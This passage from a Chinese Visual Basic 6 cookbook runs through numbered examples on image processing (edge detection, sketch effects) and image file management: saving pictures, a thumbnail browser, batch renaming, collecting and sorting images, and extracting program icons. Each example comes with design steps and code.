                ReDim aInParams(1 To Len(tParams))
            Case ".bmp"               '保存BMP格式文件没有使用GDI+
                SavePicture pic, FileName
                Screen.MousePointer = vbDefault
                Exit Sub
            End Select
            Res = GdipSaveImageToFile(lBitmap, StrPtr(FileName), tJpgEncoder, aInParams(1))                                 '保存图像
            GdipDisposeImage lBitmap                 '销毁GDI+图像
        End If
        GdiplusShutdown lGDIP                       '销毁GDI+
    End If
    Screen.MousePointer = 0
    Erase aInParams
      Exit Sub
ErrLine:
    Screen.MousePointer = vbDefault
    MsgBox "在保存图片的过程中发生错误"
End Sub




秘笈心法

心法领悟571：SavePicture保存图像框中的图像。

使用PaintPictue方法绘制图像后，要使用图像框的Image属性来保存绘制的图像，而使用Picture属性是不能保存的。



 实例572　图像边缘检测一

光盘位置：光盘\MR\19\572

高级

趣味指数：[image: ]




实例说明

图像的边缘检测是计算机识别图像的重要处理手段。通过边缘检测技术，计算机将图像转化为利于识别的边缘图像，进而得到图像的轮廓信息，广泛地应用于多个领域，图像边缘检测运行效果如图19.30所示。

[image: ]
图19.30　图像边缘检测



关键技术

图像上颜色相近的像素连在一起构成图像上的不同区域，区域的分界线上颜色的灰度跃变相对较大。边缘检测就是利用算法，通过对图像灰度的分析，查找到颜色跃变较大的像素，分析寻找图像的边缘。

这里的边缘检测思路是：将图像上的像素颜色转换为灰度值，然后比较相邻两个点之间的灰度值，当这两个点的灰度值之差大于某一指定值时，就判定其为边界，并用指定的颜色描绘出来，其他非边界上的点用另外的颜色表示。这样绘制出来的图像即为源图像的轮廓。本程序的算法是获取某坐标周围坐标的最大颜色值，与当前坐标做差运算，再与255异或运算得到新的当前坐标颜色值。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“转换后图像”。再添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）分别在Frame1控件和Frame2控件上各添加PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“边缘检测”和 “退出”。

（5）主要程序代码如下：



'轮廓
Public Sub Contour()
    Dim X As Long
    Dim Y As Long
    Dim Max As Single
    Dim v As Single
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    For Y = 1 To OutPutHei - 1
        For X = 1 To OutPutWid - 1
            Max = 0                                       '将最大值赋值为0
            v = ColOut(0, X, Y)                                '获取当前点颜色值（红色）
            If (v > Max) Then Max = v                            '如果当前点颜色值大于最大值，则将其赋给最大值
            v = ColOut(0, X + 1, Y)
            If (v > Max) Then Max = v
            v = ColOut(0, X - 1, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(0, X, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(0, X + 1, Y + 1)
            If (v > Max) Then Max = v
            ColOut(0, X, Y) = 255 Xor (Max - ColOut(0, X, Y))              '使用最大值计算输出红色值
            Max = 0
            v = ColOut(1, X, Y)                                '获取当前点蓝色值
            If (v > Max) Then Max = v                            '如果当前点值大于最大值，则将其赋给最大值
            v = ColOut(1, X + 1, Y)        
            If (v > Max) Then Max = v
            v = ColOut(1, X - 1, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(1, X, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(1, X + 1, Y + 1)
            If (v > Max) Then Max = v
            ColOut(1, X, Y) = 255 Xor (Max - ColOut(1, X, Y))            '使用最大值计算输出蓝色值
            Max = 0
            v = ColOut(2, X, Y)                                '获取当前点绿色值
            If (v > Max) Then Max = v                            '如果当前点值大于最大值，则将其赋给最大值
            v = ColOut(2, X + 1, Y)
            If (v > Max) Then Max = v
            v = ColOut(2, X - 1, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(2, X, Y + 1)
            If (v > Max) Then Max = v
            v = ColOut(2, X + 1, Y + 1)
            If (v > Max) Then Max = v
            ColOut(2, X, Y) = 255 Xor (Max - ColOut(2, X, Y))            '使用最大值计算输出绿色值
        Next
    Next
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟572：使用LoadPicture清除图像框中的图像。

使用LoadPicture可以为一个图像框加载一幅图片，同样使用这个语句可以将图像框中的图像清除。就是在使用时将LoadPicture语句的参数设置为空，这样就表示加载一幅空图像，这样便能清除图像框中的原有图像，语句如下：



Picture1.Picture = LoadPicture()






 实例573　图像边缘检测二

光盘位置：光盘\MR\19\573

高级

趣味指数：[image: ]




实例说明

素描效果是另一种边缘检测效果，其效果如图19.31所示。图像边缘使用黑色进行描绘，这个图像是黑白的效果，就像是一幅铅笔画。

[image: ]
图19.31　图像素描边缘检测



关键技术

素描的边缘检测是使用黑色的点来绘制图像的边缘，图像的其他区域使用白色填充。算法思想为：

（1）设定一个阈值，把计算机上的图片中像素的色彩转化为灰度。

（2）再把相邻两个像素的灰度进行比较。

（3）当灰度变化超过一定量时，就判断它是轮廓。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“转换后图像”。再添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）分别在Frame1控件和Frame2控件上各添加PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“边缘检测”和 “退出”。

（5）主要程序代码如下：



Public Sub Pendraw()
    Dim X As Long
    Dim Y As Long
    Dim Specify
    Dim Cur
    Dim NextCur
    Specify = 40
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            Cur = ColOut(0, X, Y) * 3 + ColOut(1, X, Y) * 6 + ColOut(2, X, Y)
            Cur = Cur \ 10
            NextCur = ColOut(0, X + 1, Y + 1) * 3 + ColOut(1, X + 1, Y + 1) * 6 + ColOut(2, X + 1, Y + 1)
            NextCur = NextCur \ 10
            If Abs(Cur - NextCur) > Specify Then '判断灰度变化是否超过设定的阈值
                ColOut(0, X, Y) = 0              'RGB(0,0,0)表示黑色
                ColOut(1, X, Y) = 0
                ColOut(2, X, Y) = 0
            Else
                ColOut(0, X, Y) = 255             'RGB(255,255,255)表示白色
                ColOut(1, X, Y) = 255
                ColOut(2, X, Y) = 255
            End If
        Next
    Next
    Done = True
    'TimeFilter = timeGetTime - TimeFilter
    Exit Sub
Err1:
    Done = True
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟573：PaintPicture函数可以替代BitBlt函数。

使用VB内置的PaintPicture函数可以替代API函数BitBlt和StretchBlt，PaintPicture函数能够实现这两个API函数所实现的功能。但是使用PaintPicture函数要求目标对象和源对象都是Picture类型的（包括Form、PictureBox、Printer等），而那两个API绘图函数则是基于图像的hDC。


第20章　图像管理

图像文件管理

图像识别

图片动画

其他应用






 20.1　图像文件管理



 实例574　保存图形文件

光盘位置：光盘\MR\20\574

中级

趣味指数：[image: ]




实例说明

在开发Visual Basic程序中，经常需要将PictureBox控件或Image控件中的图片导出来。图形文件的保存可以利用SavePicture语句将对象或控件中的Picture或Image属性的图形保存到文件中。用SavePicture语句保存图片的程序运行界面如图20.1所示。

[image: ]
图20.1　保存图形文件



关键技术

本实例主要是通过SavePicture语句实现的，SavePicture语句用于将对象或控件（如果有一个与其相关）的Picture或Image属性的图形保存到文件中，语法如下：



SavePicture picture, stringexpression




参数说明

❶picture：产生图形文件的PictureBox控件或Image控件。

❷stringexpression：要保存的图形文件名。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“SavePicture语句保存图片”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Image控件，名称使用其默认名称，将BorderStyle属性设置为1-Fixed Single。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“保存”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Command1_Click()
    SavePicture Image1, "c:\MyPicture.bmp"                                '保存图片到绝对路径
    MsgBox "已经将图片保存到C盘根目录下！", vbInformation, "明日图书"            '提示信息
End Sub
Private Sub Command2_Click()
    End                                                    '结束程序
End Sub




秘笈心法

心法领悟574：系统颜色小知识。

在应用程序中设置控件或窗体的颜色时，可以不指定颜色而直接使用系统自带的颜色。当用户改变计算机中系统的颜色值时，应用程序将根据用户的定义自动改变颜色值。

对于系统颜色来说，直接设置颜色值的高字节和使用RGB函数设置颜色值的高字节不同。对于系统的颜色设置来说高位字节是80，而对于RGB函数的颜色设置值来说高位字节是0，剩下的数字则表示系统的颜色值。



 实例575　VB制作图片浏览器

光盘位置：光盘\MR\20\575

中级

趣味指数：[image: ]




实例说明

在实际生活中经常要用到图片浏览功能，这个程序在Visual Basic 6.0 中很容易实现。本实例可以利用文件浏览的3个控件和Image控件设计实现图片浏览器。运行程序，选择图片的存放路径，单击图片文件，在Image控件中就可以显示出该图片文件，如图20.2所示。

[image: ]
图20.2　图片浏览器



关键技术

本实例主要是通过使用FileListBox控件的属性和LoadPicture函数实现的。首先通过FileListBox控件来浏览文件，再通过LoadPicture函数将图片加载到Image控件上。

FileListBox控件属性


	Path属性：返回或设置当前路径。在设计时是不可用的。对于App对象，在运行时是只读的，语法如下：





object.Path[=pathname]




参数说明

❶object：对象表达式。

❷pathname：一个用来计算路径名的字符串表达式。


	Pattern属性：返回或设置一个值，该值指示在运行时显示在FileListBox控件中的文件名，语法如下：





object.Pattern[= value]




参数说明

❶object：对象表达式。

❷value：一个用来指定文件规格的字符串表达式，例如，“*.*”或“*.FRM”。默认值为“*.*”，它返回 所有文件的列表。除使用通配符外，还能够使用分号（;）分隔的多种模式。例如，“*.exe;*.bat”将返回所有可执行文件和所有MS-DOS批处理文件的列表。


说明：
 LoadPicture函数的详细讲解请参见实例185中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“图片浏览器”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加一个DriverListBox控件，名称均使用默认名称，用于选择驱动器。

（4）在窗体上添加一个DirListBox控件，名称均使用默认名称，用于选择文件夹。

（5）在窗体上添加一个FileListBox控件，名称均使用默认名称，用于选择文件。

（6）在窗体上添加一个Image控件，名称使用其默认名称。

（7）主要程序代码如下：



Private Sub Dir1_Change()
    File1.Pattern = "*.bmp;*.ico;*.wmf;*.emf;*.gif;*.jpg"        '在运行时显示在FileListBox控件中的文件名为图片文件
    File1.Path = Dir1.Path                            '获得路径
End Sub
Private Sub Drive1_Change()
    Dir1.Path = Drive1.Drive                        '选择驱动器
End Sub
Private Sub File1_Click()
    p = File1.Path & "\" & File1.FileName                '获得路径
    Image1.Picture = LoadPicture(p)                    '加载图片
End Sub
Private Sub Form_Load()
    Image1.BorderStyle = 1                        '设置边框样式
    Image1.Stretch = True                            '图形调整大小属性为True
End Sub




秘笈心法

心法领悟575：RGB函数和QBColor函数小知识。

RGB函数用来表示一个RGB颜色值。此函数通常用在和色彩有关的方法或属性上。在编写应用程序时，如需要使某些记录或标识等显示不同的颜色以表示区分或警示，可以使用RGB函数。RGB函数和QBColor函数在使用范围上大致相同，但是在颜色的显示上，使用RGB函数要比QBColor函数更加丰富多彩。



 实例576　具有缩略图功能的图片浏览器

光盘位置：光盘\MR\20\576

中级

趣味指数：[image: ]




实例说明

很多时候，用户都是通过“查看”菜单中的“缩略图”来浏览某一文件夹中的图片。本实例实现了与“缩略图”相同的功能。运行程序，在窗体下面选择要浏览的图片所在的路径，单击“获得图片”按钮，窗体上将显示此文件夹中的前8幅图片及其名称，单击“下一页”、“上一页”按钮可以浏览该文件夹中的其他图片，效果如图20.3所示。

[image: ]
图20.3　具有缩略图功能的图片浏览器



关键技术

本实例中自定义了一个uppd过程，通过LoadPicture函数将被选中的文件夹中的图片依次加载到Image控件中，完成批量浏览图片的功能。


说明：
 LoadPicture函数的详细讲解请参见实例185中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“具有缩略图功能的图片浏览器”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加8个Frame控件，将Caption属性均设置为空，在每个Frame控件上再分别添加一个 Image控件。

（4）在窗体上添加一个DriverListBox控件、一个DirListBox控件和一个FileListBox控件，用于选择文件所在路径。

（5）在窗体上添加4个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“上一页”、“下一页”、“获得图片”和“关闭”，并设置Font属性。

（6）主要程序代码如下：



Sub uppd()
    '此处代码有省略
    On Error GoTo balle1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame1.Caption = File1.FileName
    Image1.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle2
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame2.Caption = File1.FileName
    Image2.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle3
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame3.Caption = File1.FileName
    Image3.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle4
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame4.Caption = File1.FileName
    Image4.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle5
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame5.Caption = File1.FileName
    Image5.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle6
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame6.Caption = File1.FileName
    Image6.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle7
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame7.Caption = File1.FileName
    Image7.Picture = LoadPicture(nisse.Caption)
    On Error GoTo balle8
    JB = JB + 1
    File1.ListIndex = JB
    If Right(File1.Path, 1) <> "\" Then
        nisse.Caption = File1.Path & "\" & File1.FileName
    Else
        nisse.Caption = File1.Path & File1.FileName
    End If
    Frame8.Caption = File1.FileName
    Image8.Picture = LoadPicture(nisse.Caption)
    Exit Sub
    '此处代码有省略
End Sub




秘笈心法

心法领悟576：默认坐标系统小知识。

每个容器都有一个二维的坐标系统，一个坐标系统由坐标原点、坐标度量单位、坐标轴的方向3个要素构成。坐标度量单位由容器对象的ScaleMode属性决定，但是无论ScaleMode属性取何值，默认坐标原点（0,0）都位于对象的左上角，横向向右为X轴正方向，纵向向下为Y轴正方向。

当新建一个窗体时，新窗体采用默认坐标系统，原点在窗体的左上角，Height=3600，Width=4800，ScaleHeight=3195，ScaleWidth=4680，单位为缇，即Twip。



 实例577　批量修改图片名称

光盘位置：光盘\MR\20\577

中级

趣味指数：[image: ]




实例说明

本实例实现的是将某个图片文件夹下的文件修改为具有相同前缀的文件名。例如，在文本框中输入“精美图片”，单击“设置”按钮，即可将所选中的图片文件夹中的文件修改为以精美图片为前缀的文件名，如图20.4所示。

[image: ]
图20.4　批量修改图片名称



关键技术

本实例利用Name语句可以重命名一个文件、目录或者文件名。如果想实现批量修改，只需通过循环来实现即可。


说明：
 Name语句的详细讲解请参见实例491中的关键技术。

设计过程

（1）新建一个标准工程。

（2） 在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“批量修改图片的名称”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，在Frame控件上添加一个DriveBoxList控件、一个DirBoxList控件和一个FileBoxList控件，用于选择文件所在路径。

（4）在窗体上添加一个Frame控件，在Frame控件上添加一个Label控件、一个TextBox控件和两个CommandButton控件。

（5）主要程序代码如下：



Private Sub Command1_Click()
    Dim SourName As String                                    '源文件名
    Dim desName As String                                    '目标文件名
    If File1.ListCount > 0 Then
        For i = 0 To File1.ListCount - 1
            File1.ListIndex = I                                    '列表索引
            SourName = File1.Path & "\" & File1.FileName                    '源文件名
            desName = File1.Path & "\" & Text1 & i + 1 & "." & "jpg"            '目标文件名
            Name SourName As desName                            '将原文件名改为目标文件名
        Next
        File1.Refresh                                        '刷新
    Else
        MsgBox "请选择要更改的文件夹名称！", 48 + vbOKOnly            '提示窗口
    End If
End Sub




秘笈心法

心法领悟577：如何保存图片小知识。

从对象或控件（如果有一个与其相关）的Picture或Image属性中将图形保存到文件中。使用的语法如下：



SavePicture picture, stringexpression




其中，picture是产生图形文件的PictureBox控件或Image控件；stringexpression参数是欲保存的图形文 件名。

例如，语句“SavePicture Image1.Picture, "c:\MyPicture.bmp"”把Image对象中的图片“MyPicture.bmp”保存到C盘根目录下。



 实例578　管理计算机内图片文件的程序

光盘位置：光盘\MR\20\578

中级

趣味指数：[image: ]




实例说明

本实例可以对某一路径下的所有图片按照某一图片格式进行收集整理。运行程序，设置要收集的图片所在的路径及图片格式，单击“收集”按钮，系统自动将用户所设置路径下符合该格式的所有图片文件显示在窗体右侧的文件列表中；单击“停止”按钮，系统将停止收集；单击“保存”按钮，即可将所收集的图片文件保存到当前系统所在路径下的相应图片格式的文件夹中，如图20.5所示。例如，收集的是BMP格式的图片，则图片将被保存到程序所在路径下的BMPFile文件夹中。

[image: ]
图20.5　管理计算机内的图片文件



关键技术

本实例的实现主要是通过使用FindFirstFile、FindNextFile和FindClose函数在磁盘中收集图片文件。

（1）FindFirstFile函数

该函数用于根据文件名查找文件，语法如下：



Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long




参数说明

❶lpFileName：欲搜索的文件名。可包含通配符，并可包含一个路径或相对路径名。

❷lpFindFileData：这个结构用于装载或找到与文件有关的信息。该结构可用于后续的搜索。

（2）FindNextFile函数

该函数用于根据调用FindFirstFile函数时指定的一个文件名查找下一个文件，语法如下：



Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long




参数说明

❶hFindFile：由FindFirstFile函数返回的搜索句柄。

❷lpFindFileData：这个结构用于装载与找到的文件有关的信息。

（3）FindClose函数

该函数用于关闭由FindFirstFile函数创建的一个搜索句柄，语法如下：



Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long




参数说明

hFindFile：由FindFirstFile函数提供的搜索句柄。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“管理计算机内的图片文件”，StartUpPosition属性设置为“2-屏幕中心”。

（3）选择VB菜单中的“工程”/“添加模块”命令，在工程中添加一个模块，默认“名称”属性为Module1。

（4）在窗体上添加4个CommandButton控件，分别设置Caption属性为“收集”、“停止”、“保存”和“退出”；添加一个Frame控件，设置Caption属性为空。

（5）  在Frame1控件中添加一个Label控件，设置其Caption属性为“选择图形文件”；添加一个DriveListBox控件、一个DirListBox控件、一个ListBox控件和一个ComboBox控件。

（6）在窗体上添加一个Label控件，设置Caption属性为空，用于显示所收集的图形文件的数量。

（7）主要程序代码如下：



Private Sub Command1_Click()                                    '收集文件
    If Combo1.Text = "" Then
        MsgBox "请您选择搜索文件的类型!", 48, "提示信息"                '提示信息
    Else
        On Error Resume Next    '错误处理
        If isrun Then: isrun = False: Exit Sub
        Dir$ = Combo1.Text
        MousePointer = 11                                    '鼠标指针类型
        isrun = True
        List1.Clear                                            '清空列表
        If isrun Then Call SearchDirs(Texts)                            '调用函数查找文件
        Label3.Caption = "收集图形文件 " & List1.ListCount & " 个"            '显示图片个数
        isrun = False
        MousePointer = 0                                        '鼠标指针类型
    End If
End Sub 
Private Sub SearchDirs(filepath$)
    Dim dircount, i As Integer                                    '定义整型变量
    Dim dirarray()                                            '定义数组
    DoEvents                                            '转让控制权，让操作系统处理其他的事件
    If Not isrun Then Exit Sub
    hItem& = FindFirstFile(filepath$ & "*.*", WFD)                        '查找文件
    If hItem& <> INVALID_HANDLE_VALUE Then
        Do
            If (WFD.dwFileAttributes And vbDirectory) Then
                If Asc(WFD.cFileName) <> 46 Then
                    dirs = dirs + 1
                    If (dircount Mod 10) = 0 Then ReDim Preserve dirarray(dircount + 10)
                    dircount = dircount + 1
                    dirarray(dircount) = Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)
                End If
            Else
                Files = Files + 1
            End If
        Loop While FindNextFile(hItem&, WFD)
        Call FindClose(hItem&)                                    '关闭FindFirstFile
    End If
    SendMessage lhwnd, WM_SETREDRAW, 0, 0
    hFile& = FindFirstFile(filepath$ & Dir$, WFD)
    If hFile& <> INVALID_HANDLE_VALUE Then
        Do
            DoEvents
            If Not isrun Then Exit Sub
            SendMessage lhwnd, LB_ADDSTRING, 0, _
                        ByVal filepath$ & Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)
            Label3.Caption = "收集图形文件 " & List1.ListCount & " 个"
        Loop While FindNextFile(hFile&, WFD)
        Call FindClose(hFile&)
    End If
    SendMessage lhwnd, WM_VSCROLL, SB_BOTTOM, 0
    SendMessage lhwnd, WM_SETREDRAW, 1, 0
    For i = 1 To dircount: SearchDirs filepath$ & dirarray(i) & "\": Next i
End Sub




秘笈心法

心法领悟578：图形与图像之间的区别与联系。

图像是指绘制、摄制或印制的形象，如山水画、照片等。

图形是一种抽象化的图像，是对图像依据某个标准进行分析而得到的结果，它不直接描述数据的每一点，而是描述产生这些点的过程及方法。因此，又称为矢量图形，更一般的说法为图形。



 实例579　将指定文件夹下的图片分类存储

光盘位置：光盘\MR\20\579

高级

趣味指数：[image: ]




实例说明

如果某一文件夹中含有各种不同格式的图片文件，则看起来会比较乱。本实例可以对某一路径下的所有图片按照不同的图片格式进行分类整理。运行程序，选择要分类的图片所在的路径，右侧窗体中将显示此路径下的所有图片文件列表。单击“开始整理”按钮，系统自动将用户所设置路径下的所有图片文件分类保存到系统所在路径下ManageFile文件夹中的系统当前日期文件夹内，程序的运行效果如图20.6所示。

[image: ]
图20.6　将指定文件夹下的图片分类存储



关键技术

本实例主要是在模块中运用用户自定义的CreateFiles、CreateSubFiles和CreateDateSubFiles等函数创建相应的文件夹，然后通过Timer控件将指定文件夹下的图片文件分类存储在不同的文件夹下。

根据文件对象的CreateFolder方法可以创建文件夹，语法如下：



object.CreateFolder(foldername)




参数说明

❶object：必选参数。始终是一个FileSystemObject的名字。

❷foldername：必选参数。字符串表达式，它标识创建的文件夹。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“将指定文件夹下的图片分类存储”，StartUpPosition属性设置为“2-屏幕中心”。

（3）选择VB菜单中的“工程”/“添加模块”命令，添加一个模块，设置“名称”属性为ManageFile。

（4）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，设置其Caption属性分别为“选择需要整理的文件夹”和“所选取文件夹中的文件”。

（5）在Frame1控件中添加一个DriveListBox控件和一个DirListBox控件，名称取默认值。

（6）在Frame2控件中添加一个FileListBox控件，名称取默认值。

（7）在窗体上添加两个CommandButton控件，设置其Caption属性分别为“开始整理”和“取消”；添加4个Timer控件，将Timer1控件的Interval属性设置为60，Timer2控件的Interval属性设置为600，Timer3控件的Interval属性设置为800，Timer4控件的Interval属性设置为1000；添加一个ListBox控件。

（8）主要程序代码如下：



Private Sub Command1_Click()
    CreateFiles                                        '根据当前系统日期创建一个文件夹
    CreateDateSubFiles                                    '创建当前日期下的子文件夹
    Timer3.Enabled = True                                    '启动分类整理文件时钟
    Nums = List1.ListCount                                '列表项目个数
    Command1.Enabled = False                                '按钮控件不可用
    Me.MousePointer = 11                                    '设置鼠标指针类型
    Timer4.Enabled = True                                    '计时器控件可用
End Sub
Private Sub Timer3_Timer()                                '控制分类整理文件的时钟
    If List1.ListCount = 0 Then
        Me.MousePointer = 0                                '鼠标指针类型
        Command1.Enabled = True                            '按钮控件可用
        NumFiles                                        '检索生成子文件夹的个数
        Timer3.Enabled = False                                '时间控件不可用
    Else
        Comes2 = ""
        For j = 0 To List1.ListCount - 1
            Dim YWJ, MWJ, l As String, S As String * 1, ASCIIN, m As Integer
            MWJ = ""
            YWJ = RTrim$(List1.List(j))
            l = Len(YWJ)
            For m = 1 To l
                S = Right$(YWJ, m)
                If Left$(S, 1) = "." Then
                    Comes1 = Right$(YWJ, m - 1)
                    If LCase(Comes1) = "jpg" Or LCase(Comes1) = "bmp" Or _
                       LCase(Comes1) = "psd" Or LCase(Comes1) = "ico" Or LCase(Comes1) = "gif" Then
                        If Comes1 = Comes2 Or Comes2 = "" Then
                            Comes2 = Comes1
                            '复制检索到的文件
                            CreateSubFiles                    '创建子文件夹
                            StrTemp = App.Path & "\ManageFile\" & Str(Date) & "\" & SubFileName _
                                      & "\" & Comes2 & "文件\" & List1.List(j)
                            FileCopy Dir1.Path & "\" & List1.List(j), StrTemp
                        End If                            '如果没有检索到相同的扩展名文件则直接退出
                        Exit For                            '跳出循环
                    Else
                    End If
                Else
                End If
            Next m
        Next j
        Timer1.Enabled = True                                '控制移除List控件中元素的时钟
        Timer2.Enabled = True                                '控制Timer1的时钟
        List1.Refresh                                    '刷新
    End If
End Sub




秘笈心法

心法领悟579：BMP文件格式小知识。

BMP格式是一种标准的位图图像文件格式。它与硬件设备无关，使用非常广泛。它采用位映射存储格式，除了图像的深度可以选择外，没有其他任何形式的压缩，因此图片的质量较好，文件所占的空间也较大。

其中，BMP文件的图像深度有1bit（单色位图）、4bit（16色位图）、8bit（256色位图）和24bit（24位位图）几种。图片存储时，是按照从左到右、从上到下的顺序扫描的。



 实例580　提取并保存应用程序的图标

光盘位置：光盘\MR\20\580

高级

趣味指数：[image: ]




实例说明

一些应用程序的图标非常漂亮，可以将这些图标提取出来。本实例即实现了提取应用程序图标的功能。运行程序，选择要提取图标的应用程序所在路径，窗体右侧列表中将显示此路径下的应用程序的文件列表。选择要提取图标的应用程序文件，此应用程序图标将显示在窗体下面的图片框中，如图20.7所示。单击“图标另存为”按钮，将保存所提取的文件图标。

[image: ]
图20.7　提取并保存应用程序的图标



关键技术

本实例主要是通过使用API函数ExtractIcon来提取应用程序的图标，通过API函数DrawIcon在图片控件中显示图标。

（1）ExtractIcon函数

该函数用于判断一个可执行文件或DLL中是否有图标存在，并将其提取出来，语法如下：



Private Declare Function ExtractIcon& Lib "shell32.dll" Alias "ExtractIconA" (ByVal hInst As Long, ByVal lpszExeFileName As String, ByVal nIconIndex As Long)




参数说明

❶hInst：当前应用程序的实例句柄。也可以用GetWindowWord函数取得拥有一个窗体或控件实例的句柄。

❷lpszExeFileName：欲在其中提取图标的那个程序的全名。

❸nIconIndex：欲获取的图标的索引。如果为-1，则表示取得文件中的图标总数。

（2）DrawIcon函数

该函数用于在指定的位置画一个图标，语法如下：



Private Declare Function DrawIcon& Lib "user32" (ByVal hDC As Long, ByVal X As Long, _ByVal Y As Long, ByVal hIcon As Long)




参数说明

❶hDC：设备场景。

❷X，Y：想描绘图标的位置（逻辑坐标）。

❸hIcon：欲描绘图标的句柄。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“提取并保存应用程序的图标”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Frame控件，默认“名称”属性为Frame1和Frame2，设置Caption属性为空。

（4）在Frame1控件中添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件。

（5）在Frame2控件中添加一个PictureBox控件、一个Label控件，设置Label控件的Caption属性为“获取的应用程序图标”；添加两个CommandButton控件，设置其Caption属性分别为“图片另存为”和“退出”。

（6）在窗体上添加一个CommonDialog控件。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Common Dialog Control 6.0（SP3）复选框，单击“确定”按钮。此时，CommonDialog控件将出现在工具箱中。

（7）主要程序代码如下：



Private Declare Function ExtractIcon& Lib "shell32.dll" Alias "ExtractIconA" _
(ByVal hInst As Long, ByVal lpszExeFileName As String, ByVal nIconIndex As Long)
Private Declare Function DrawIcon& Lib "user32" (ByVal hDC As Long, ByVal X As Long,
 ByVal Y As Long, ByVal hIcon As Long)
Private Sub File1_Click()
    Dim X As Integer                                '定义整型变量
    Dim myval As Integer                                '定义整型变量
    myval = ExtractIcon(hInst, Dir1.Path & "\" & File1.FileName, -1)
    Picture1.Cls                                    '清除内容
    hIcon = ExtractIcon(0, Dir1.Path & "\" & File1.FileName, 0)        '提取图标
    X = DrawIcon(Picture1.hDC, 5, 5, hIcon)                    '在图片控件中显示图标
End Sub




秘笈心法

心法领悟580：GIF文件格式小知识。

GIF格式，又称图形交换格式，是由CompuServe公司开发的一种图像文件格式。GIF文件是一种基于LZW算法的连续色调的无损压缩格式，其压缩率一般在50%左右，因此文件所占空间较小，应用非常广泛。



 实例581　图像分页预览

光盘位置：光盘\MR\20\581

中级

趣味指数：[image: ]




实例说明

